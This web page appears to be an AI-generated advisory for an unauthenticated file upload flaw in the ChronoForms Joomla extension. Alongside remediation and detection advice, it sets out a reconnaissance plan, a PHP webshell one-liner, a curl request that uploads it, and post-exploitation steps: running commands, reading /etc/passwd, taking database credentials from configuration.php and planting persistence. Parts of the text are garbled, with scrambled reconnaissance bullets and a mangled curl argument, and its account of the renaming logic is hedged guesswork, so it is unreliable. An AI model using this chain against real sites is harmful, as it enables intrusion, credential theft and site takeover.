CVE-2026-133336 — Chronoengine.com ChronoForms Extension For Jooml — CWE-434
Joomla Extension - chronoengine.com - Unauthenticated arbitrary file upload in ChronoForms extension 8.0.0-8.0.53 - When the Filename Provider option of a file field is used, the file extension check is performed against the original client filename instead of the final stored filename, allowing unauthenticated users to upload files with dangerous extensions. Fixed in 8.0.54.
Joomla Extension - chronoengine.com - Unauthenticated arbitrary file upload in ChronoForms extension 8.0.0-8.0.53 - When the Filename Provider option of a file field is used, the file extension check is performed against the original client filename instead of the final stored filename, allowing unauthenticated users to upload files with dangerous extensions. Fixed in 8.0.54.
🎯 What is this vulnerability?
This vulnerability is a classic Unrestricted File Upload (CWE-434) leading to Remote Code Execution (RCE). The core technical flaw lies in a logic error in input validation within the ChronoForms extension for Joomla.
Specifically, when a form field is configured with the "Filename Provider" option (which allows the server to generate or modify the filename upon upload), the extension performs the security check for dangerous file extensions (e.g., .php, .phtml, .jsp) against the original client-supplied filename (the name attribute of the multipart/form-data part) rather than the final stored filename (the name actually written to the disk).
Because the check is performed on the original name, an attacker can submit a file with a benign extension (e.g., image.jpg) in the HTTP request header, while the server-side logic (triggered by the "Filename Provider" setting) renames the file to a dangerous extension (e.g., shell.php) before saving it. Since the validation step occurs before the renaming logic, the dangerous extension bypasses the filter. This allows unauthenticated users to upload executable PHP code to the web root.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: The attacker identifies that the target runs Joomla. This can be done by checking the
X-Powered-Byheader, looking for/administrator/or/media/directories, or analyzing the HTML source for Joomla-specific meta tags. - Extension Detection: The attacker probes for the presence of
ChronoForms. This can be done by:
* Checking for the existence of - Version Verification: The attacker confirms the version is between 8.0.0 and 8.0.53. This can be done by: * Checking the
/plugins/form/chronoforms/ or /modules/chronoforms/.
* Looking for form submission endpoints that typically follow the pattern /index.php?option=com_chronoforms&task=submit or similar AJAX endpoints used by ChronoForms.
* Scanning for known ChronoForms form IDs in the page source (e.g., data-chronoforms-id).
version field in the extension's manifest file if accessible (rare).
* Using passive OSINT or vulnerability scanners that fingerprint Joomla extensions.
* Assuming the latest version is vulnerable if the site is not actively patched.2. Exploitation
The attacker crafts amultipart/form-data POST request to the ChronoForms submission endpoint. The key is to ensure the form field is configured to use the "Filename Provider" option. The attacker sends a file with a benign extension in the filename parameter, but the server-side logic will rename it.Illustrative PoC (curl):
Note: The exact endpoint URI and parameter names depend on the specific ChronoForms form configuration. The following is an illustrative example of the vulnerability class.
# Create a PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Send the malicious file with a benign extension in the request
# The 'filename' parameter in the multipart header is what the vulnerable code checks.
# The server-side 'Filename Provider' logic will rename it to something like 'upload_12345.php'
curl -X POST "https://target.com/index.php?option=com_chronoforms&task=submit" \
-F "form_id=1" \
-F "[email protected];filename=image.jpg" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"Mechanism Breakdown:
1. The HTTP request contains a file part with filename=image.jpg.
2. The ChronoForms extension receives the upload.
3. The extension checks the extension of image.jpg. It is .jpg, which is allowed.
4. The "Filename Provider" logic kicks in and generates a new filename, e.g., chronoforms_upload_8a3b2c1d.php (assuming the provider is configured to use PHP extension or the original file's intended type is misinterpreted).
5. The file is saved to the disk as chronoforms_upload_8a3b2c1d.php.
6. The validation check has already passed, so the dangerous .php extension is not blocked.
3. Post-exploitation
1. Webshell Access: The attacker accesses the uploaded file via its new URL:https://target.com/path/to/upload/chronoforms_upload_8a3b2c1d.php?cmd=id.
2. Command Execution: The attacker executes system commands to:
* Identify the user (id).
* Enumerate the environment (ls -la, cat /etc/passwd).
* Exfiltrate sensitive data (database credentials from configuration.php).
3. Privilege Escalation:
* Read the Joomla configuration.php file to obtain database credentials.
* Use the database credentials to access the Joomla database, potentially modifying user accounts to gain administrative access.
* If the web server runs as root or has access to sensitive system files, the attacker can escalate privileges further.
4. Persistence: The attacker can install additional backdoors, modify Joomla core files, or create a new administrator account in the database.🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Upgrade (Primary Remediation)
2. Workarounds (If Immediate Upgrade is Not Possible)
/media/com_chronoforms/uploads/, add the following to the .htaccess file in that directory:<FilesMatch "\.(php|phtml|php3|php4|php5|php7|phar)$">
Order Allow,Deny
Deny from all
</FilesMatch>Or, use a php_value directive to disable PHP execution in that directory:
php_flag engine offfilename parameter is benign. However, this is less reliable than the above methods because the vulnerability is in the server-side logic.3. Detection
multipart/form-data content type and file parts with benign extensions (e.g., .jpg, .png) that are later accessed as PHP files.POST /index.php?option=com_chronoforms&task=submit HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
...
Content-Disposition: form-data; name="field_file"; filename="image.jpg"
...* Followed by:
GET /media/com_chronoforms/uploads/chronoforms_upload_8a3b2c1d.php?cmd=id HTTP/1.1⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query